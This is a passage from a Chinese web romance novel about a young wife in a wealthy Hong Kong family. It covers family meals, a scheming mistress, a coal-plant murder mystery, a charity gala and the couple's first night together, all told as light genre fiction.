院中雨珠依旧落的紧,后花园的养睡莲的水缸落了雨水,生叔带着园丁们把水缸往抄手游廊下挪动,绵绵细雨顺着檐廊边缘如珠帘般密密落着,月园里郁郁葱葱的花草,不久前刚移栽来的蔷薇、海棠花树给雨水的洗刷下,青翠欲滴。 下了雨空气就跟着降了下来,姜沉鱼察觉到空中的冷意,披了条柔软保暖的银白色羊毛披肩。 她家里总是随意些,一张小脸不施粉黛,只是擦了护肤霜,前阵子朱莉送了十盒贵妇面膜,郭玉琴也时常给儿媳妇添置幻化妆品、护肤品。 姜沉鱼的意大利进口梳妆台上摆满了化妆护肤品,琳琅满目,让人应不接瑕。 萧砚换了正装出来,姜沉鱼正在收拾那些瓶瓶罐罐,见他还没出门,随口问了句,“今天集团休息?” 萧砚整理袖口的黑耀石袖扣,声如玉石,“今天不休息,陪你吃完早餐就走。” 姜沉鱼很想摆摆手,让他直接走人,可对某人漆黑深邃的冷眸,她又怂了。 算了,一顿早饭而已。 她又不会少块肉。 厨房的早饭一一上桌,萧家的饭菜一向丰盛,今天有姜沉鱼最爱吃的虾仁蒸饺跟糯米荷叶粥。 荷叶粥清甜,虾仁爽口,姜沉鱼坐在桌前吃得欢快。 小餐厅没有佣人在旁,萧砚给姜沉鱼盛粥,又给她夹了个虾仁蒸饺:“厨房徐师傅做的虾饺,很好吃。” 姜沉鱼最爱这个,入口鲜美异常,滑嫩可口,很敬佩徐师傅的厨艺,以前她也跟着奶奶下过厨,没待几分钟就被赶出来了 “下次我教你做饭。” 萧砚池黑色的丝质衬衫妥帖地收入腰线中,柔软轻薄的丝绸质地,能看到他流畅结实的腰线,又夹给她一个蟹黄包。 “好。” 姜沉鱼鼓着双颊咀嚼,毫无大 美人的仪态,像只花栗鼠,她许是没发觉,自己在萧砚池面前越来越轻松自在,在外人面前那套娴雅规矩,全都丢到一边去了。 萧砚陪她吃完早饭,没几分钟就去了集团。 午后成朱莉打电话过来,邀请姜沉鱼去电影院看新上映的粤语电影。 姜沉鱼粤语一般,近日家中为她聘请了位粤语女老师,也是位混血儿,姓名林,外人称呼她密斯林,密斯林四十多岁年纪,一头金色的长卷发,深色的短袖及膝裙,配上细细的金色腰带,有些些微胖的身材,毕业于名校,一口流利的粤语加英伦腔。 今天上映的最近火爆的武侠电影,里面有朱莉最喜爱的武打女星,她买了票,特意请姜沉鱼和萧佳敏一起看。 萧佳敏答应了,可惜姜沉鱼没时间,她下午要去密斯林学习粤语。 “抱歉,朱莉今天我去不了。” 姜沉鱼也很惋惜。 “这样啊,你忙你的,咱们下次再约。” 朱莉很大气,又跟姜沉鱼聊了会天,才挂了电话。 萧家三房,萧思敏接了电话,兴高采烈喊桂妈帮她搭配洋装,装扮起来。 萧佳怡在客厅听到楼上热闹,心里五味杂陈,险些把一口银牙咬碎。 这阵子萧佳怡的日子着实不好过,她父亲在外面金屋藏娇养小三,母亲天天去找小三麻烦,弄得家里不太平。 萧佳敏倒是逍遥自在,父母和睦,自己也顺心,都是萧家的孙女,凭什么她过得如此! 萧佳怡心情不美妙,大太太同样还不到好不到哪里去。 此刻她正在咖啡店跟艾米对峙,试图晒支甩支票让艾米离开萧长昌。 “……如果夫人给我两百万港币的话,我可以考虑离开萧生。”艾米道。 “什么?”大太太陡然失控,声音又尖又锐,手里热咖啡几乎要泼到狐狸精脸上。 这个小贱人,她知道两百万港币是多少钱吗? 她凭什么要这么多! “艾米,你不要给脸不要脸!”大太太怒喝,一个不要脸的贱货,敢开口要这么多钱! “夫人,这笔钱您不给我没关系,总有人给我的。”艾米手捧热咖啡,斜长的水眸妖娆勾魂,一头栗色长发,眉梢带媚打量着大太太。 她能敲诈的时候,当然是狮子大开口。 两百万港币,足够艾米一辈子衣食无忧的! 她为了报恩才接近萧长昌这个老男人的,现在有钱赚,干嘛不赚? “好,你真是好样的!” 大太太气结,狠狠瞪了艾米一眼,踩着高跟鞋蹬蹬蹬离开了。 艾米笑笑,品完咖啡才走人。 港城的秋日总是短暂的,一晃十二月冬日已经到来。 年关将至,港城刮了好几日大风,老宅郁郁葱葱的树木光秃秃的,只剩下行人在寒风中瑟瑟前行。 某日姜沉鱼早起推开阳台,发现路面结了冰,想来再过来就要下雪了。 姜沉鱼吃早饭的时候,给郭玉琴生了盛了碗百合枸杞粥,“妈咪,我今天想出趟门。” “乖乖,外面天这么冷,出门小心冻着。” 郭玉琴不是阻拦儿媳妇出门,是担心她吹风感冒。 姜沉鱼道,“我想去98号探望许妈,过年忙起来就没时间了。” 郭玉琴知道许妈是庄家的老佣人,在儿媳妇心里有地位不一般,遂点头同意。 “乖乖,路上注意安全。” “谢谢妈咪。” 姜沉鱼吃完早餐,穿戴整齐,围着羊毛围巾背着包包乘车乘车出了门。 路上路过一家老式的金店铺子,姜沉鱼让司机停车,进去买了一只花样古朴、厚重的金镯子。 这算是提前送给许妈的新年礼物。 许妈收到镯子,开心到几乎落泪,小心翼翼问,“小小姐,这是不是太贵重了?” “不贵重,许妈这是你应得的。” 许妈这才安心收下。 傍晚姜沉鱼刚回家,外面看便飘起了雪花,庭院灯火璀璨,飞雪一朵朵在灯光里蹁跹,复又落在地面消失不见。 老宅客厅里烧着壁炉,地板上铺了长羊绒的地毯,很是舒服,姜沉鱼索性席坐在偏厅沙发上,拿着本英文小说得看得津津有味。 萧茗和萧甜在边上跑老跑去,也打扰不到她。 姜沉鱼偶尔应付兄妹俩两句,颇为自得。 外头阴沉沉的,冷风刮着枯叶卷儿掉到萧家的青瓷白鱼缸里,桌上摆着的红梅开的正盛。 家里养的波斯猫糯米这几日盯上郭玉琴养的金鱼儿,趁着萧甜没注意,贼头贼脑跳上桌,伸出毛爪子就要去捞鱼。 萧甜刚从小厨房偷吃栗子糕回来,小团子一蹦一跳,像只活波的兔儿进踩着地毯进来,嘴角的点心沫还没擦干净呢,瞧见贼兮兮的糯米要偷鱼,立马喊在边上的萧茗。 “哥哥,快抓住糯米,它偷鱼鱼的!” 胆大包天敢偷祖母养的鱼,爪子不想要了! 萧茗眼睛大亮,一把捞住想要跑路的糯米,在小波斯猫身上撸了好几把。 嘿嘿,总算撸到猫了。 萧茗穿着崭新的羊毛背心,同色西装裤,平时出门都有司机保镖护送,在学校只学习很少搭理喜欢他的女同学,一派酷少模样。 谁知道他在家是个绒毛控,还是个暗搓搓死要面子,不想被人发现的小帅哥。 糯米是某日萧砚池提回家的,刚开家还没满月,又奶又萌还会喵喵叫。 姜沉鱼一见就抱在怀里不撒手,秋水般的眸亮了亮,“小猫好可爱,我要叫它姜糯米。” 萧砚眉梢挑了挑,“小猫跟你姓?” 姜沉鱼对这个不很在意,摸摸波斯猫软软的脑袋,“跟你姓也可以啊,叫萧糯米。” 萧砚:“……” 他还没吃到肉,就喜当爹地了。 最后小猫还是叫糯米,不冠父姓也不冠母性。 外面雪花飘飘,无人在意在意街头巷尾,身穿大衣戴鸭舌帽裴特助跟艾米见了面。 第39章 第39章感谢订阅 港城的冬天万物萧条,阴冷潮湿,一场雪接着一场雪,将维多利亚港装扮的银装素裹。 这几天早晚冷得刺骨,平时妖艳爱装扮的艾米打扮素净,没有换穿的爱穿的皮草外套,只穿了件普通大衣,带着英伦淑女帽,跟街上普通时髦女郎没两样。 裴特助跟她简单交代几句话,就立刻离开了。 艾米也跟平常一样,拎着皮包回了萧长昌送的那套公寓。 萧长昌送的公寓地段不错,附近住户大都是港城中产阶级,艾米路绕过喷泉,走了十几步就到公寓楼下,乘坐电梯上到二楼,她忘了带钥匙,敲了两下门。 开门的是艾米姆妈,后面还跟着几个弟弟。 “小米回来了,厨房有炖好的老母鸡汤,阿尔快给你姐盛一碗。” 艾米姆妈刚搬进公寓楼,心里高兴,让儿子去给艾米盛汤。 艾米面对母亲的巴结逢迎,反应有些冷淡,她从烟盒里抽出一根烟来,点燃吸一口,红唇炊烟袅袅。 艾米姆妈也没说什么,依旧喜气洋洋操持家务。 女儿搭上了萧家大老板,以后还愁没好日子过? 艾米姆妈又有些可惜,要是女儿当时成了萧氏总裁的情妇,她早跟着吃香喝辣,住半山大别墅了。 艾米家中阔气过,她们一家来自大陆,祖父在县里经营生意,买置办了许多田产铺子,在当地也是乡绅之家。 可惜那时不太平,年年闹兵灾,艾米父亲是个败家少爷,败光了家中大半产业,在老家欠下大笔赌债,带着剩下的家产妻子儿女跑路港城,又继续抽大烟养女人,浪荡了十几年,把家里最后艾一点产业败光了,自己身子也垮了,没几年就走了。 艾米姆妈头发长见识短,遇见事只会哭。 艾米是家中长女,下面还有三个弟弟,她从女子中学毕业了之后,放弃了出国留学的念头,就在一家报社做小编译,赚到的钱不够花,心一横下海当了舞女。 舞女一行当竞争很激烈,年轻有姿色的女孩一茬一茬往外冒,艾米身材妖娆,性感妩媚,天生能吃这一碗饭。 艾米出了头,成了舞厅里的头牌,自然惹了不少嫉妒暗恨目光。 两年前夏日一个雨夜,艾米从舞厅下班已经接近十一点,她打着伞往车站走。 昏暗的车站沉闷,潮湿,透过斑驳的玻璃,可以看到外面正淅淅沥沥地下着小雨。 白日嘈杂不断的街头寂静无声,艾米等车的间隙也不 忘换环顾四周,她所在的车站偏僻无人,靠近盘山公路,连续发生了好几桩抢劫案件。 艾米打着伞盼着车早些来,路边晃晃悠悠来了三个喝醉的古惑仔,其中一双浑浊的眼,死死盯在她身上,猥笑道,“靓女乘什么车?陪我们哥几个喝一杯怎样?” “对啦,靓女搞咩工作?” “陪不陪酒啦?” 其他两个男人,也跟着哈哈大笑,神色下流靠近艾米。 艾米后背紧绷,拎着手里的包猛的用手里的雨伞重重的打过去,趁着古惑仔吃痛,转身就盘山公路上跑。 盘山公路驶向富豪居住的别墅区,往那跑说不定有希望。 艾米拔奔跑在雨中,刚才出言调戏的古惑仔领头刘通建脑袋挨了一击,他伸手一摸前额,黏糊糊的,出血了。 “贱人!敢打我!” 几个古惑仔狰狞地跟在后面,艾米穿着高跟鞋根本跑不过几个亡命之徒,她脚下一滑,摔倒在雨水里,就在即将被抓住的时候,两束明亮的车灯出现在漆黑的雨夜里中,艾米踉踉跄跄站起身,拦在马路中间。 “救命!” “有人要杀我!” “求求你们救救我!” 艾米几乎要跪在马路中间,后面几个古惑仔骂骂咧咧追上去抓着她,要拖进无底深渊时候,那辆加长宾利车停下来,一道淡漠的声音响起。 “裴特,外面太吵了处理掉。” “好的,总裁。” 一身西服的男人撑着伞下来,后面跟着两个黑衣保镖,没几下功夫就把几个古惑仔打趴下,拖年猪一样拖了下去。 “总裁,全部处理了。” “回老宅。” “是。” 加长宾利车渐渐消失在雨幕中,艾米淋了雨又受了惊吓,强撑着回到家当晚就发起了高烧,后来才知道,当晚救她的人就是萧氏集团的总裁萧砚。 她再次见到萧砚是在半年后,当时萧砚在集团办公,俊美面容神色极淡,只低眸扫了一眼门口的女人。 “你是艾米?” “想不想赚钱去国外?” 艾米情不自禁点点头,她实在是需要钱。 萧砚骨节分明的手指敲了敲桌面,进来一个西装男人,是那天撑伞下车的裴特助。 艾跟着裴特助去了隔壁房间,裴特助递给她一份个人资料。 资料上的男人正是萧长昌。 三个月后,艾米在一家高档舞会“偶遇了前来消遣的萧长昌,并成了他的情妇。 * 十二月最后一天,皑皑白雪笼罩了整个港城,姜沉鱼早起推开阳台的门,诺大的老宅冰雪重重,一年中最寒冷的时节到了。 “下雪了!” “哥哥打雪仗!” 楼下,是萧茗和萧甜兄妹的叫嚷声,两孩子非常兴奋,港城少有这么大的雪,孩子们想打雪仗,滚雪球,家中长辈并不拘束,让他们自由活动。 兄妹俩各自的保姆跟在一旁,也不用担心。 家里新运了一批新鲜瓜果来,王妈送了两盘上来,黄灿灿的枇杷跟荔枝很吸引人,萧长章一高兴连吃了好几颗荔枝,郭玉琴家看茶几上的荔枝壳都堆成小山了,一挥手把他赶走了。 萧长章也没不高兴,姜沉鱼给倒了杯茶,回去研究新到手的孤本。 姜沉鱼许久没吃过新鲜荔枝了,倒茶回来,生怕婆婆也把她跟前的荔枝端走,她有些嘴馋,细白小手上下翻动,吃了荔枝又吃枇杷,还不忘讨好婆婆。 “妈咪的,我刚剥好的枇杷。” 说完又往嘴里塞了一颗荔枝肉。 郭玉琴瞧着笑得眼角细纹都出来了,哎哟,她家小鱼可真是个活宝,在规矩繁多的豪门还有点鲜活气好。 况且姜沉鱼并不过分,略吃了五六颗荔枝就不吃了。 郭玉琴为儿媳妇留了一筐新鲜荔枝,晚上萧砚回来,在书房看完文件,回来换家居服。 套房里有专门的换衣室,姜沉鱼吃完荔枝,坐在欧式灰色丝绒沙发上,依靠着沙发背,专心看着手里的英文书,她旁边还放在一本英语词典,屋顶的水晶吊灯灯光打下来,给她眉目渲染了一层柔光,似一尊玉像。 萧砚在旁边走过,周身萦绕的沉香木气息都没被她发觉。 姜沉鱼认真看起书来,能达到忘我的境界。 “下周六晚上,成家有场慈善拍卖会。”萧砚的声音突然从头顶响起,带着几分慵懒的笑意。 姜沉鱼这才从书本中抬起头,“慈善拍卖会?” “什么时间?” “……” 萧砚眼眸微垂,漆黑长睫在顶光灯下投落浅影,笑了笑,又重复了一遍。 姜沉鱼立马答应,“好啊,到时候我们一起参加。” 她又随口问了句,“裴特助去吗?” 其实裴特助平时都跟在萧砚身边,几乎没有请假的时候。 姜沉鱼这么问,是不想为了刚才的事情让气氛尴尬。 萧砚闻言勾唇笑了下,不紧不慢处理着手下的文件,“裴特要追姑娘,自然是要去的。” 裴特助有了意中人? 姜沉鱼盈盈桃花眸顿时放光,也顾不得吐槽了,忙过来打探,“裴特助看上哪家姑娘了?人家姑娘对他什么态度?” “哎呀,你倒是说话啊。” 萧砚一张俊挺面孔正经肃然,说出来的话可是十分不要脸。 “亲我一下,我就告诉你。” 姜沉鱼气得伸手掐人,结果这厮皮糙肉厚,掐了好几把也没用,只能踮脚亲了他一下。 萧砚眼角眉梢泄出一抹笑,带着薄茧的大手不自觉捻了捻,声音柔和下来,附在她耳边说了两个字。 “阿秋。” 姜沉鱼:??? 萧砚看她露出一言难尽的表情,笑了笑道,“怎么了,是不是觉得有些不可思议。” 确实有些不可思议,裴特助喜欢阿秋? 这是什么奇怪的爱情反应? * 冬日的港城,雪后寒冷料峭,好在出了太阳,日光稀薄照下来,添了点暖意。 成家举办慈善晚宴,给各大豪门都发了请帖,萧老爷子自然在其中,尴尬的是萧家三房只收到一张请帖。 三房可是有两个儿子的,萧长昌跟萧长堂都争着去。 与此同时,有拾荒的老伯在废弃煤矿厂西边发现了一具无名女尸,死者穿着华丽,右手小拇指缺失,头部有伤口跟血迹,看来曾于人发生过争吵。 警察署里,一群大盖帽小伙子一手文件,一手卷宗忙的团团转。 前面警察署署长看了女抢劫犯的画像,抢劫犯右手赫然少了小手指,他沉默不语,让手下警员调出85年老煤炭厂塌方的存档资料。 手下警员一头雾水,85年那会儿煤炭厂崩塌,不是早结案了? 那时候煤炭厂因为挖的太狠了,上头领导安全工作做的不到位,地面都裂开了,附近的老人念叨煤炭厂早晚要出事。 第40章 第40章感谢订阅 警察暑的一位警员小时候就在煤炭厂附近居住,他每天去上学路上,透过煤炭厂的大门,能隐隐约约看见里面黑乎乎高耸的煤堆跟开裂的场地。 煤炭厂有不少挖煤工,85年盛夏一个暴雨天,老煤炭厂受不住,真就塌方了,碗口粗的立柱被暴雨冲刷,支撑不住大幅度倾斜着深入地下不见了,这场事故搭进去好几条人命,有个老矿工没了条腿,还有个中年矿工被压在窑洞口,差点儿就没救回来…… 警察署署长当年在现场负责救援工作,起初大家都以为是那场暴雨导致的煤炭厂塌方。 后来署长检查支撑用的柱子,发现柱子有人为破坏的痕迹,当时没有人证、物证、加上各方施压,调查起来难度很大,在调查了一段时间后,又出现了新的案件,警察署人手不够,就草草结了案。 这桩案子过去数年,本来早被 人遗忘了。 随着女尸案的发现,煤炭厂塌方又出现在警察署署长脑海中,多年的办案生涯,让他敏锐的察觉到两桩案件有相关联的地方。 “阿林,去档案室把煤炭厂相关的所有文件都拿出来。” 年轻的警员点点头,一头钻进档案室,警察署档案室大半月才打扫一回,里面灰尘遍布,档案袋一摞一摞,抹上去一手灰,进去找文件没有没有半个小时出不来。 煤炭厂女尸案闹得沸沸扬扬,港城几家报纸的记者闻风而动,争抢着希望拍到第一手照片。 现场照片只有警察署的警员才有主张,署长再三警告他们,不许把照片泄漏出去。 警员们为了保住饭碗,真的没把照片私下卖给记者。 报社拿不到第一手照片,只能在内容上大做文章,往后数天的报纸头条都是《妙龄女子莫名殒命在旧城区,究竟是情杀还是另有隐情》之类的标题。 萧家佣人送了报纸过来,阿秋在小楼客厅里擦花瓶,没事也跟姜沉鱼念上两句。 姜沉鱼天生胆子大,不仅不怕这种事,还能跟阿秋讨论一番,发表各自意见。 “少夫人,我觉得那姑娘不像是自杀的。” 姜沉鱼坐在沙发里,戴着对珍珠耳环,衬托得她头发乌黑,面颊似玉,她放下手里的英文书,饶有兴趣道,“这话怎么说?” 阿秋就道,“少夫人,报纸上说遇害的女郎年龄不过二十五,这么好的年华,谁会想不开要自我了断呢?” 阿秋还年轻,只知道努力做工赚钱,没有过多体会到人生的艰难。 姜沉鱼出身在军区大院,虽然生活无忧,却年幼丧母,她看到的人性阴暗面要多些。 “或许吧,这种事谁知道呢?” 姜沉鱼笑了笑,继续看她的英文小说,下午几家高奢侈品牌的工作人员会来家中送高定礼服跟珠宝。 姜沉鱼要陪着郭玉琴挑选礼服,可挤不出时间看小说,她埋头看了一会儿,突然跟想到什么一样,抬头看墙上的自鸣钟,十二点刚过几分,起身拿起了电话。 阿秋看少夫人打电话,边擦花瓶边抿唇偷笑,笑完就偷偷出去了。 姜沉鱼手中的电话接通,那边接电话的是裴特助,不出她所料,某人还在会议室开会。 裴特助问要不要回电话。 姜沉鱼直接妙拒,“不用,你记得提醒萧砚注意身体,别忘记喝营养剂就好。” 裴特助握着电话,发出阿秋同款吃到狗粮的笑声,“少夫人对总裁真是有心。” “您放心,我一定把您对总裁的关爱送到!” 姜沉鱼:“” 等等,你是不是误会什么了? 她只是好心提醒萧砚注意身体,晚上别回来找医生,闹到她睡不好觉而已啊! 萧氏集团宽阔的会议室里,两面巨大的落地窗犹如巨大画框,将对面维多利亚港尽收眼底,此时众高管可没心情欣赏什么海景,众人拿着手里的文件,正在讨论关于内地房地产、旅游等开发项目的进程。 萧砚坐在主座,冷白的吊灯光线打来下来,显得他眉眼更加锋利隽逸。 “海城外滩开发项目要继续跟进,今天的会议先到这里,下午两点,集团董事召开会议。” 众人应是,陆续离开了会议室。 萧砚刚回到总裁办公室,裴特助就拿着文件凑过来,“总裁,刚刚少夫人打电话过来关心您身体,叮嘱您按时喝营养剂,晚上早点回家。” 萧砚闻言,冷淡锋利的眉梢轻扬了,唇角不着痕迹地扬起些弧度,他垂眸瞥一眼腕表,随手端起准备好的营养剂一饮而尽,道,“知道了,你先下去吧。” “对了,今晚不用加班了,你跟我一起回老宅。” 裴特助心花怒放,真是托了少夫人的福,不仅不用加班,还能去老宅见可爱的阿秋。 少夫人万岁!! 裴特助脚步雀跃离开办公室,萧砚修长食指在桌面上扣了扣,拿起电话按了下去。 萧家老宅,姜沉鱼正要午睡,卧室电话铃声响了,她信手接起,用粤语问道,“你好,哪位?” 对面的人笑了下,嗓音磁性悦耳,简简单单两个字,钻入她的耳蜗。 “是我。” 姜沉鱼顿了下,心情有些不美妙,“大中午打什么电话?” 萧砚声线慵懒,“忙了一上午工作,现在是私人时间,想听听萧太太的声音可以吗?” 姜沉鱼:“……” 她脸皮没有某人那么厚,最后只能被迫说了句“可以。” 萧总裁心满意足挂了电话,当天下午的会议进行的很顺利,对待众董事的态度也称得上和颜悦色。 众股东受宠若惊的同时,都打听发生了什么事,得知总裁上午接了通少夫人打来的爱心电话,顿时恍然大悟。 怪不得呢,他们原以为总裁怎么着了,原来是百炼钢化成绕指柔啊。 也难怪,萧家少夫人虽是大陆嫁过来的,可家世样貌待人接物哪一样也不输给港城的豪门千金。 集团的董事有几位没见过姜沉鱼,好奇道,“总裁夫人真有你们说得如此优秀?” “别是溜须拍马,随口应承?” “颜董,下周六成家慈善晚会,少夫人肯定会出席,你不信可以自己看嘛。” “眼见为实,耳听为虚。” “到时候一起去。” “好说,好说。” * 成家慈善晚会如火如荼筹办中,萧家三房萧长昌、萧长堂兄弟俩为了请帖,争着抢着在萧老爷子面前尽孝。 萧老爷子人老心不老,对两个败家儿子安不看不上眼,不管谁来都一律不见。 萧长堂还好,他被拒略微一想,直接回商行忙工作。 萧长昌烂泥扶不上墙,碰了钉子满腹牢骚,索性放飞自我,青天白日就去了艾米那。 艾米白天不上班,她姆妈跟三个弟弟不在家中。 萧长昌一来就红袖添香,鱼水之欢,艾米吐气如兰,坐在他怀里嗲嗲讲看上了一条钻石项链。 萧长昌赌场生意不错,很豪气道,“买!” “一条钻石项链算什么,老子有钱!” 艾米大喜,想起裴特助讲的话又撺掇着萧长昌带她去莲花岛游玩,顺便去赌场过过瘾。 萧长昌皱眉,“这个恐怕不行,我家老爷子最不喜家里人碰骰子,要是被他发现了,后果难以预料。” 艾米心下冷笑,你一个开赌场的害怕碰骰子? 她面上仍旧柔情蜜意,哄得萧长昌松口多加了条钻石手链才算晚。 晚上萧家三房一家人围坐在一起吃饭,三太邓颖梅给萧老爷子夹菜盛粥,佣人们陆续上菜,松鼠桂鱼、桃仁鸡丁、糖醋樱桃肉、红烧虾仁 这都是萧老爷子最爱吃的海鲜餐,萧老爷子平时在小楼吃饭,很少过来跟三房一家人用餐。 今天老爷子心情好过,过来吃上一顿,这可高兴坏了三太,都不用佣人过来,她亲自伺候老爷子。 长形餐桌放置在晶莹剔透的水晶灯下,萧老爷子坐主位,右手边坐着萧长昌、大太太、萧佳怡一家三口,左手边则是萧长堂、二太太、萧佳敏。 萧老爷子喝了口粥,一双鹰眼威严扫视全家,开口道,“成家慈善会今年给的请帖只有一张,去年是阿昌去的,今年就由阿堂代表三房去参加。” 萧老爷子此话一出,萧家三房众人表情各异。 三太邓颖梅对此没有意见,都是她生的儿子谁去不一样? 萧长昌笃定是弟弟在背后做了手脚,怒火直对着萧长堂。 萧长堂也不掩饰心中喜意,跟二太太吃白饭都觉得香。 萧佳敏无所谓,她埋头吃饭,对面的萧佳怡恨透地剜她一眼,大太太在桌下踢了女儿一脚,她才收敛。 吃完晚饭,萧长昌阴沉着脸要出门,大太太疑神疑鬼,过来询问,“这么晚了,去哪里?” 是不是又出门去见狐狸精? 萧长昌不耐, “去桂妈那里拿账本!” 大太太算了算日子,今天正好是去桂妈手里拿账本的日子,放手让萧长昌出门了。 此刻,桂妈正在上次碰头的地方跟阿光碰面。 一段时间不见,阿光突然戴起了帽子,遮挡住阴郁的面容。 桂妈这个人鸡毛又鬼婆,在公屋无人搭理,她真是憋坏了,抓着来送账本的阿光就是一顿八卦。 “哎哟,你是不晓得啦,煤炭厂那个倒霉衰女,真是死了都没有安生,那些记者胡写乱写,胡说八道的。” “警察署的署长讲,那衰女不是自杀,是被人杀死的,听说凶手脸上还有伤疤……” 桂妈喋喋不休,正要接过阿光手里的账本,突然看见阿光右眼角下的抓痕,电光火石间,就跟想到什么一样,在阿光阴狠的目光下筛糠似的抖起来。 “阿、阿光。” 阿光眯眼睨着她,另一只没拿烟的右手缓缓伸进裤子口袋,抽出一把锋利闪着冷光的匕首。 “桂妈你刚刚讲什么?” 桂妈满脸惊恐,双腿一软瘫坐在地上,使劲摇头道,“我什么也没说,什么也没说!” 阿光盯着她看了好一会儿,才转身去离去,桂妈瘫在地上起不来,好不容易爬起来,一股温热的液体顺着她大腿流下,刺鼻的尿骚味弥漫开来,充斥周围空气。 她被吓尿了。 煤炭厂女尸案悬而未决,周六成家慈善晚宴依旧热热闹闹举行。 成家庄园内热闹非凡,成家五姨太为了讨成老爷子欢心,特意邀请了媒体前来,铺出红毯供宾客亮相。 成朱莉穿着高定礼服,偷偷跟姜沉鱼吐槽,“好好一场拍卖会变成名流盛宴,真是讽刺。” 姜沉鱼晃晃手中的葡萄酒,“习惯就好了。” “你在豪门长大,这种场面早该司空见惯了。” “见惯了也看不惯,我可是侠女性子。” 成朱莉觉得喝葡萄酒不过瘾,从侍者手里拿了两杯白兰地。 “那女人叫人从英国运来的,尝尝?” 姜沉鱼摇头,“我只喝葡萄酒。” 别的酒她喝不上来,一喝就醉。 “真的假的?” 成朱莉抬头打量她,姜沉鱼明眸微眯,“你家办慈善晚会,怎么把珊瑚树放到门口了?” “那是五姨太的好办法,据说珊瑚有招财吉祥的意思,放在门口镇镇场面。” 成朱莉刚想邀请好姐妹去扫荡美食,看了看她身后有点叹气:“你家那位真是黏人精。” 姜沉鱼:??? 她扭头一看,正好撞进萧砚的视线里,这厮一身黑色西装,在灯光如昼更显得俊美矜贵,他低眸看她,唇角很轻的勾了一个弧度。 “萧太太,拍卖会马上开始了。” 姜沉鱼“哦“了声,熟练挽上萧砚胳膊,拍拍他道,“出发吧。” 萧砚:“……” 成家金碧辉煌的客厅分为两半,一半为拍卖区,一半为酒会区,在场众人衣着光鲜,觥筹交错,推杯换盏,一场慈善宴举办的非常成功。 成文滨宣布当天拍卖的慈善金,将全部用做慈善基金,并呼吁大家共献爱心。 在场众人纷纷起立鼓掌。 辞暮尔尔,烟火年年。 腊八节后便是春节,春节临近,姜沉鱼一早推开窗户,除了窗边的海雾,时而能够听到远处的爆竹声。 今年萧长章夫妇在港过年,王妈早早理了长长的清单给吴妈,让她带着几个佣人去采购年货回。 姜沉鱼则陪着婆婆一起,准备今年的宴席并礼品给亲朋好友们。 吴妈一一清点了采购来的年货,嘴里嘟囔着:“酱鸭、火腿、海参、羊肉、鱼肉、鲍鱼、干贝” “家里羊肉不多了,生叔送年货的什么时候来?” “说好了二十八送来。” 相对比急脾气的吴妈,生叔就很稳重。 家中有生叔他们忙活,姜沉鱼便正大光明偷懒,晚上洗完澡就看小说,看累了钻进被窝酣睡。 萧砚回来,卧室早就漆黑一团,他安静上床,姜沉鱼一个翻身,差点儿摔到地上,萧砚大掌攥着她的手腕,硬韧宽阔的身躯贴着她晕红一片的软嫩肌肤,“啪”一下打开了台灯。 萧砚的眸子极黑,他忽然搂住她的腰一个翻身,重新将她压回床上,姜沉鱼惊叫:“干什么?” “快起来!” 萧砚笑了笑,抬起手,修长手指摸到喉结上的衬衫纽扣,漫不经心地解开一颗,又一颗。 40-50 第41章 第41章姜沉鱼:!…… 姜沉鱼:!!! 大晚上的这人解扣子做什么? 她脸颊微热,美眸转动想着自救的办法,耳边传来布料摩擦发出的窸窣声响,接着耳边传来的嗓音透着漫不经心的低沉:“小鱼?” “……” 姜沉鱼没讲话,下一秒一切发生的都太过迅速,等到姜沉鱼反应过来时,她已经被放倒在大床上,柔软的唇被男人擒住,两人毫无缝隙地贴合在一起。 姜沉鱼眼睫毛轻颤,在男人的薄唇离开,在天鹅脖颈流连的瞬间,理智稍许回归,她挣扎了一下,“等,等一下。” “嗯?” 萧砚滚烫的薄唇在她脸上轻吻了一下,低沉的声音性感磁性,姜沉鱼脸一红,强撑道,“婚前协议不是这么写的。” 婚前协议明明规定好,她跟萧砚三年协议婚姻,三年后各自婚嫁,互不干涉,她拿着大笔抚养费潇洒离开。 怎么到这里? 成了她被吃了? 萧砚声音里带着笑意,“你听说过请君入瓮这四个字吗?” 姜沉鱼:??? “你就是那口狡猾的大瓮?” “也可以这么说,我等这一天等了好久了。” 萧砚薄唇在她耳边轻轻蹭了蹭,声音暗哑充满了浓情蜜意。 姜沉鱼脑子晕乎乎的,整个人犹如一艘小船一样在大海里起起伏伏,意大利进口大床吱吱呀呀响了半夜。 一夜急风骤雨,吹落了满地花瓣。 这天晚上,姜沉鱼犹顿肥美丰盛佳肴,被餍足如兽般的男人翻来覆去享用 上半夜姜沉鱼犹如一块美味的烤肉被某人翻来覆去品尝,直到萧砚第三次去拿毛巾换水,她才找顺机会爬起来,把自己裹进蚕丝被,一双潋滟的桃花眼泛着湿漉漉的雾气,看着身下乱成一遭的床单,气的骂了两句混蛋。 等萧砚端着搭着毛巾的脸盆回来,她迅速把脑袋埋进蚕丝被,呼呼装睡。 萧砚放下手里的脸盆,目光扫到床上隆起的一小坨,轻笑一声,“睡了?” 姜沉鱼继续呼呼,装听不见。 萧砚傅低眸看她一眼,似是很轻的笑了下,故意道,“既然睡了,那我就把脸盆端走了。” 身上汗津津十分不舒服的姜沉鱼:“” 床上那小坨动了动露出一个脑袋瓜,“等等。” 萧砚转身,姜沉鱼拿眼睨着他。 “我自己洗漱,你到隔壁套房睡。” 姜沉鱼一开口,才发现自己的嗓子哑得都快说不出话了,又冲某人翻了两个白眼,骂了句,“狗东西。” 不过她这个白眼软绵绵的带着娇,非但没有震慑力,在莹莹的灯光下还显得格外勾人。 萧砚知道今晚把妻子折腾狠了,低咳一声,“小鱼热不热,洗把脸?” “不用我不热。” “渴不渴?” “不渴。” “饿不饿?” 姜沉鱼刚想冷漠拒绝,空空的肚子不识时务“咕咕”叫了两声。 “我要吃阳春面。” “好。” 萧砚唇角扬起,去厨房下了碗阳春面,厨房里有现成的食材,阳春面里面放了炸虾、小青菜,还有一个白胖的荷包蛋。 姜沉鱼吸溜了小半碗又开始犯困,吃了面等某人回来,她已经抱着枕头沉沉睡去。 萧砚薄唇勾起,放轻手脚拧了湿了毛巾,体贴又温柔地帮她擦洗,换床单,收拾清爽干净。 等到一切收拾完,腕上的手表已经凌晨三点半了,萧砚俯身在姜沉鱼红扑软嫩的脸 蛋上落下一吻,去了隔壁套房。 红木茶几上花瓶里插着玫瑰花,姜沉鱼睁开双眼,窗外天色大亮,这一觉睡的神清气爽,就是下床双脚落地的刹那,双腿酸软差点儿没站住。 ——这就是昨晚疯狂半夜的代价。 萧砚一早去了集团,叮嘱阿秋早饭推迟到十点。 